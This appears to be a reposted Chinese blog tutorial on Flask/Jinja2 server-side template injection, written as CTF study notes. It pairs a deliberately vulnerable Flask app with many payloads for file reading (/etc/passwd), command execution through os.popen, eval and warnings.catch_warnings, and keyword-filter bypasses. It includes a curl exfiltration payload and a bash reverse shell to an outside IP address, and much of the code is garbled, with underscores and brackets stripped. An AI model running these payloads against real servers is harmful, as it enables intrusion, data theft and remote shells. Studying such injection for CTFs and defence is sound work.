栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

python flask ssti学习笔记

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

python flask ssti学习笔记

python flask ssti学习笔记
学ssti就像是对python原理的一层深入探索,入口很简单,就是用户输入未经过滤便被服务器模板渲染,将其当作变量解析替换,从而达到读取文件或者执行命令等目的

简单示范
漏洞代码:

#!/usr/bin/env python

-- coding:utf8 --

import hashlib
import logging
import urllib.parse#python2没有parse,去掉就好
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string

app = Flask(name)
app.config.secret_key = “2333”
page_size = 60

@app.route(’/’)
def hello_world():
return ‘Hello World!’

@app.errorhandler(404)
def page_not_found(e):
template = ‘’’
{%% block body %%}

Oops! That page doesn't exist. %s {%% endblock %%} ''' % (urllib.parse.unquote(request.url))#python2没有parse,去掉就好 return render_template_string(template), 404

if name == ‘main’:
app.run()
以上代码存在ssti漏洞点在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。

简单验证

服务器将{{}}的内容直接执行后返回了结果

直接返回出配置变量值,存在敏感信息

入门操作
爆全局变量
{{self.dict}}
任意文件读取
ctf题目中大多数是需要读取flag或者读取其他源码的

接下来利用一些骚操作读取文件吧

python中,不用引入直接使用的内置函数称为 builtin 函数,例如我们通常用的open,chr,ord等等

builtin.open()
builtin.int()
builtin.chr()

#python一切皆对象,__class__方法可以获取当前对象(实例)的类

“”.class

#class.mro 获取当前类对象的所有继承类(object类是python中最顶层的类。)

“”.class.mro
(, )

#object.subclasses() 返回object的子类,不加括号的话返回的是地址

“”.class.mro[-1].subclasses()
[, , , , , , , , ,…,]
利用关键字寻找与读文件有关的类

Python2

for i in ‘’.class.mro[-1].subclasses():
count += 1
if ‘file’ in repr(i):
print count, i
//40
这不是我们很熟悉的file吗,直接用就好了

{{’’.class.mro[-1].subclasses()40.read()}}

或者让我们更加深入一点

#__init__初始化类

‘’.class.mro[-1].init

#因为object类下面没有我们需要的东西,我们只能去它的子类找
#在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的
count = -1
for i in ().class.mro[-1].subclasses():
count += 1
if “warpper” in repr(i.init):
pass
else:
print count, i
#__globals__全局方法,查找当前类包含的所有方法和变量及参数
count = -1
for i in ().class.mro[-1].subclasses():
count += 1
if “warpper” in repr(i.init):
pass
else:
try:
if “file” in repr(i.init.globals):
print count, i
except:
pass
#输出:
(58, )
(59, )
(60, )
(61, )
(71, )
(76, )
(77, )
(78, )
#挑第一个详细看看
python2没有ipython,输出比较混乱我们用python3的相同类替代分析下

#可以看出,__builtins__方法包含了当前类调用的模块和函数
‘builtins’: {‘name’: ‘builtins’,
‘doc’: “Built-in functions, exceptions, and other objects.nnNoteworthy: None is the nil' object; Ellipsis represents…’ in slices.”,
‘package’: ‘’,
‘loader’: _frozen_importlib.Builtinimporter,
‘spec’: ModuleSpec(name=‘builtins’, loader=),
‘build_class’: ,
‘import’: ,
‘abs’: ,
‘all’: ,
‘any’: ,
‘ascii’: ,
‘bin’: ,
‘breakpoint’: ,
‘callable’: ,
‘chr’: ,
‘compile’: ,
‘delattr’: ,
‘dir’: ,
‘divmod’: ,
‘eval’: ,
‘exec’: ,
…etc.
所以,以下payload即可调用file
‘’.class.mro[-1].subclasses()[59].init.globals[‘builtins’]‘file’.read()

Python3

同上,可以找出不少读取文件的类,只是这里file变成了open函数

‘’.class.mro[-1].subclasses()[133].init.globals[‘builtins’]‘open’.read()

随便找一个

命令执行
利用eval()函数导入os库执行命令

利用本身已经导入os库的类执行命令

利用warnings.catch_warnings执行命令

利用commands执行命令

Python2

利用eavl函数执行命令
先寻找含有eval函数的类

count = -1
for i in ‘’.class.mro[-1].subclasses():
count += 1
if “warpper” in repr(i.init):
pass
else:
try:
if “eval” in repr(i.init.globals[‘builtins’]):
print(count, i)
except:
pass
#输出:
(58, )
(59, )
(60, )
(61, )
(71, )
(76, )
#__import__可以导入模块
‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘eval’

利用本身导入os库的类执行命令
寻找含有os库的类

count = -1
for i in ‘’.class.mro[-1].subclasses():
count += 1
if “warpper” in repr(i.init):
pass
else:
try:
if “os” in repr(i.init.globals):
print(count, i)
except:
pass
#输出:
(71, )
(76, )
#payload
无回显!
‘’.class.mro[2].subclasses()[71].init.globals[‘os’].system(‘ls’)
这个有
‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘whoami’).read()

剩下的两个方法

查看warnings.catch_warnings方法的位置

[].class.base.subclasses().index(warnings.catch_warnings)
59
查看linecatch的位置

[].class.base.subclasses()[59].init.globals.keys().index(‘linecache’)
25
查找os模块的位置

[].class.base.subclasses()[59].init.globals[‘linecache’].dict.keys().index(‘os’)
12
查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

[].class.base.subclasses()[59].init.globals[‘linecache’].dict.values()[12].dict.keys().index(‘system’)
137

[].class.base.subclasses()[59].init.globals[‘linecache’].dict.values()[12].dict.keys().index(‘popen’)
109
调用system方法

[].class.base.subclasses()[59].init.globals[‘linecache’].dict.values()[12].dict.values()137
root
0

[].class.base.subclasses()[59].init.globals[‘linecache’].dict.values()[12].dict.values()109.read()
利用commands 进行命令执行

{}.class.bases[0].subclasses()[59].init.globals[‘builtins’]‘import’.getstatusoutput(‘whoami’)
{}.class.bases[0].subclasses()[59].init.globals[‘builtins’]‘import’.popen(‘whoami’).read()
Python3

利用eavl函数执行命令
先寻找含有eval函数的类

count = -1
for i in ‘’.class.mro[-1].subclasses():
count += 1
if “warpper” in repr(i.init):
pass
else:
try:
if “eval” in repr(i.init.globals[‘builtins’]):
print(count, i)
except:
pass
#输出:
75
76
77
78
79
91
92
93
95
102
103
104
105
127
128
129
131
132
133
134
161
168
170
171
177
178
179
180
#__import__可以导入模块
‘’.class.mro[-1].subclasses()[180].init.globals[‘builtins’]‘eval’

利用本身导入os库的类执行命令

寻找含有os库的类

count = -1
for i in ‘’.class.mro[-1].subclasses():
count += 1
if “warpper” in repr(i.init):
pass
else:
try:
if “‘os’” in repr(i.init.globals):
print(count, i)
except:
pass
#输出:
117
或者127
emmm…
只有os本身了。。
#payload
无回显!
‘’.class.mro[-1].subclasses()[117].init.globals’system’
这个有
‘’.class.mro[-1].subclasses()[117].init.globals’popen’.read()

过滤绕过方法
过滤中括号
‘’.class.mro[-1].subclasses().pop(40)(’/etc/passwd’).read()

‘’.class.mro[-1].subclasses().getitem(40)(’/etc/passwd’).read()

‘’.class.mro[-1].subclasses().getitem(71).init.globals.getitem(‘os’).popen(‘whoami’).read()
过滤引号,过滤class等关键字
request.args是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤

{{’’.class.mro[-1].subclasses().pop(40)(request.args.path).read()}}/?path=/etc/passwd

{{[].class.mro[-1].subclasses()[71].init.globals[request.args.mod].popen(request.args.cmd).read()}}/?mod=os&cmd=whoami

过滤.或__或()
#利用[]可以调用
{% if url_for[‘globals’][‘current_app’][conf][‘FLAG’][pos]==‘payload’ %}true~{% endif %}
#过滤()时无法执行函数,只能获取变量里的某些内容
过滤关键字
base64编码绕过

__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

‘’.getattribute(‘X19jbGFzc19f’.decode(‘base64’)).mro[-1].subclasses()40.read()

#我也不知道为啥不能加u""
‘’.getattribute("u005fu005fu0063u006cu0061u0073u0073u005fu005f").mro[-1].subclasses()[127].init.globals’popen’.read()
字符串拼接绕过

利用hex编码,base64编码,[::-1]等绕过关键词过滤

过滤花括号

使用{% if … %}1{% endif %}

{% if ‘’.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen(‘curl http://47.100.120.123 -d ls / | grep flag;’) %}1{% endif %}

{% for c in [].class.base.subclasses() %}{% if c.name == ‘catch_warnings’ %}{% for b in c.init.globals.values() %}{% if b.class == {}.class %}{% if ‘eva’+‘l’ in b.keys() %}{% if b[‘eva’+‘l’](‘impor’+'t’+’(“o’+'s”)’+’.pope’+‘n’+’(“bash -i >& /dev/tcp/47.100.120.123/2333 0>&1”).read()’) %}1{% endif %}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
利用声明变量和内置过滤器
以下方法仅在jinja2中实验成功

声明变量

在模板中添加变量,可以使用(set)语句。

{% set name=‘xx’ %}
with语句来创建一个内部的作用域,将set语句放在其中,这样创建的变量只在with代码块中才有效

{% with gg = 42 %}
{{ gg }}
{% endwith %}

变量可以用~链接

image-20200826111256677

内置过滤器

变量可以通过 过滤器修改。过滤器与变量用管道符号|分割,并且也 可以用圆括号传递可选参数。多个过滤器可以链式调用,前一个过滤器的输出会被作为 后一个过滤器的输入。

例如{{ name|striptags|title }}会移除 name 中的所有 HTML 标签并且改写 为标题样式的大小写格式。

过滤器接受带圆括号的参数,如同函数调用。这个例子会 把一个列表用逗号连接起来:{{ list|join(’,’) }}。


类似于php中的php://filter/过滤器,过滤器种类太多,具体项目我复制到另一个文档里了

几个例子

绕过__class__过滤

我们可以利用过滤器构造任意的字符

首先利用__doc__属性弄出字符来(没有可以用别的)

结合一些普通方法,截取字符,例如单引号:

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/675242.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号